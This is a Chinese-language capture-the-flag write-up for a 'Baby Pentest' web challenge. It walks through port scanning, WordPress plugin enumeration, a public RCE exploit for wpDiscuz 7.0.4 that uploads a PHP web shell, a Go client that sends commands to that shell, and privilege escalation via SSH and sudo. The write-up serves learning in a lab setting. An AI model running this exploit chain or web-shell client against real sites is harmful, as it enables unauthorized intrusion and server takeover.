##### tags:`新生盃` `is1ab-note`
# is1ab 新生盃 WEB:Baby Pentest
<style>
.red {
color: red;
}
.blue {
color: blue;
}
.purple {
color: #7D3382;
}
.light_purple {
color: #810cf5;
}
</style>
<span class=""></span>
## <span class="red">題目</span>
- 
## <span class="red">解題過程</span>
1. **根據題目名稱,以及底下訊息說明有提到 port ,針對 `IP=45.130.165.186` 先用了
`rustscan -a 45.130.165.186 --scripts none --ulimit 5000 -r 1-65535`
掃描有哪些開啟的 port ,發現了除了題目說的 port 22 還有一個 22 port**
- 
 
2. **於是我就用 nmap 的攻擊模式 `(-A)` 去掃這個 port `(nmap -A -p 2222 45.130.165.186)` ,找到 `OpenSSH 7.9p1 Debian 10` 這個版本,並且服務這欄是 SSH**
- 
 
3. **我打算用 `metasploit` 來進行一些觀察,在
`sudo apt install metasploit-framework`
完成後,可以用 `search ssh` 先查詢 ssh 有哪些模組可以使用,其中就有 `ssh login` 相關 (ssh 我的第一個反應就是連線)。於是用
`use auxiliary/scanner/ssh/ssh_enumusers`
選擇這個模組,然後再用 `show options` 看需要設定哪些參數**
- 
- 
- 
 
4. **針對 USERFILE 我用的是 seclist 中 Usernames 目錄底下的字典檔,但是都出現 `throws false positive result` ,所以我打算直接用 `use auxiliary/scanner/ssh/ssh_enumusers` 這個模組做登錄爆破**
- 
- 
 
5. **但開 ticket 問之後,出題者說沒有人會爆 SSH 吧!!於是我另尋出路,在 CHW blogger 上有寫要關注附檔名。2222 port 剛剛掃過他是負責 SSH 連線的,所以應該是要把重點放在 `http://45.130.165.186:8080/` 原本的這個 port。用
`gobuster dir -url http://45.130.165.186:8080 --wordlist /usr/share/dirb/wordlists/common.txt -x php3,php4,phtml,php`
掃完後發現 `/assets` 是 301 (重新定向),所以我就去 `/assets` 並在底下發現了非常奇怪的內容,主要在 `http://45.130.165.186:8080/assets/fonts/blog/` 發現有很多 endpoint ,然後看起來是 css 沒有 fetch 到,所以我打算把這個 IP 加到 kali 的 `/etc/hosts` 再用 kali browser 看**
- 
- 
- 
 
6. **在 kali 的 browser 打開後應該就會長成底下的圖片,仔細觀察每個 Note 的 URL ,可以發現這是依靠 query string p 的值來做 GET ,所以就試試看能不能存取 `p=0 or p=1` 。發現 `p=0` 就是首頁, `p=1` 看起來就非常的可疑了**
- 
- 
- 
 
7. **這個網頁點開會發現是一個 wordpress 的登入介面,因此先用 wp-scan 確定一下有哪些 wordpress 可能的 plugin 漏洞,找到兩個 plugin 可能有相關漏洞
(`wpscan --url http://blogger.chw:8080/assets/fonts/blog/ --enumerate p --plugins-detection aggressive --random-user-agent`)**
- 
- 
 
8. **用 ExploitDB 分別查找兩個 plugin 相關資訊。針對 Akismet 的兩個受影響版本分別是 `2.1.3` 和 `3.1.4 以下` ,而掃描出來的版本是 `5.5.0` 所以應該不是這個;接著是查看 wpdiscuz 這個 plugin ,猜測應該是這個,因為在最一開始 `/assets` 底下的 `mu-plugins` 就有這個的 PoC .php 檔,而當我查到影響版本 (`7.0.0 ~ 7.0.4`) 時也發現了當前版本 `7.0.4` 確實在影響之下**
- 
- 
- 
- 
 
9. **所以我查詢一下這篇的 PoC 像是 RCE ,下載後在可以留言的地方執行 PoC 並附帶參數 `python exploit_RCE.py -u http://45.130.165.186:8080/assets/fonts/blog/ -p ./?p=1`
這樣就能把 payload script 丟到目標靶機,之後就能夠成功 RCE 了**
- 
- 
 
10. **因為單純用 curl 做回顯會很麻煩(例如有空格就需要 URL encode),所以寫了一個 exploit.go ,然後把想要打的指令放在 `command := ""` 裡面,之後跑 `go run exploit.go`**
```go=
package main
import (
"fmt"
"io/ioutil"
"log"
"net/http"
"net/url"
)
func main() {
// 目標 URL
baseURL := "http://blogger.chw:8080/assets/fonts/blog/wp-content/uploads/2025/09/frmufgrnozwznsd.php"
// 想要執行的指令 (這裡使用一個無害的 'id' 指令作為範例)
// 在真實的滲透測試中,你會替換成其他指令
command := "ps aux"
// 建立完整的請求 URL,並對指令進行 URL 編碼以避免特殊字元問題
fullURL := fmt.Sprintf("%s?cmd=%s", baseURL, url.QueryEscape(command))
fmt.Println("正在向以下 URL 發送請求:")
fmt.Println(fullURL)
// 發送 HTTP GET 請求
resp, err := http.Get(fullURL)
if err != nil {
log.Fatalf("發送請求失敗: %v", err)
}
// 函式結束時關閉回應主體
defer resp.Body.Close()
fmt.Println("\n收到伺服器回應:")
fmt.Printf("HTTP 狀態碼: %d %s\n", resp.StatusCode, http.StatusText(resp.StatusCode))
// 讀取回應內容
body, err := ioutil.ReadAll(resp.Body)
if err != nil {
log.Fatalf("讀取回應內容失敗: %v", err)
}
// 將回應內容以字串形式印出
fmt.Println("--- 回應內容開始 ---")
fmt.Println(string(body))
fmt.Println("--- 回應內容結束 ---")
}
```
 
11. **在 /home 底下拿到 `user_flag.txt` 。接著因為用 shell 連進去會是 www-data 權限,所以用 vagrant (通常會是測試帳號,而且只有 vagrant 有 `ssh key`)去 ssh 登入 `(ssh vagrant@blogger.chw -p 2222)`,試試看能不能直接提權 `(sudo su -)` ,結果就成功了**
- **user_flag : `NjkgNzMgMzEgNjEgNjIgNDMgNTQgNDYgN2IgMzUgMzAgNWYgNjggMzQgNzYgMzMgNWYgNzkgMzAgNzUgNWYK`**
- 
- **root_flag : `NzYgMzEgMzMgNzcgMzMgNjQgNWYgNjMgNjggNzcgMjcgMzUgNWYgNjYgMzQgNjMgMzMgNjIgMzAgMzAgNmIgNWYgNzAgNzIgMzAgNjYgMzEgNmMgMzMgN2Q`**
- 
 
12. **最後用 base64 把這兩個解出來後,發現是 16 進制編碼,之後在解就能拿到 flag 了**
- 
- 
- **flag🚩 : `is1abCTF{50_h4v3_y0u_v13w3d_chw'5_f4c3b00k_pr0f1l3}`**
 
## <span class="red">自我告解(心得)</span>
1. **我在一開始登入時沒有檢查 ssh 能不能用密碼登入**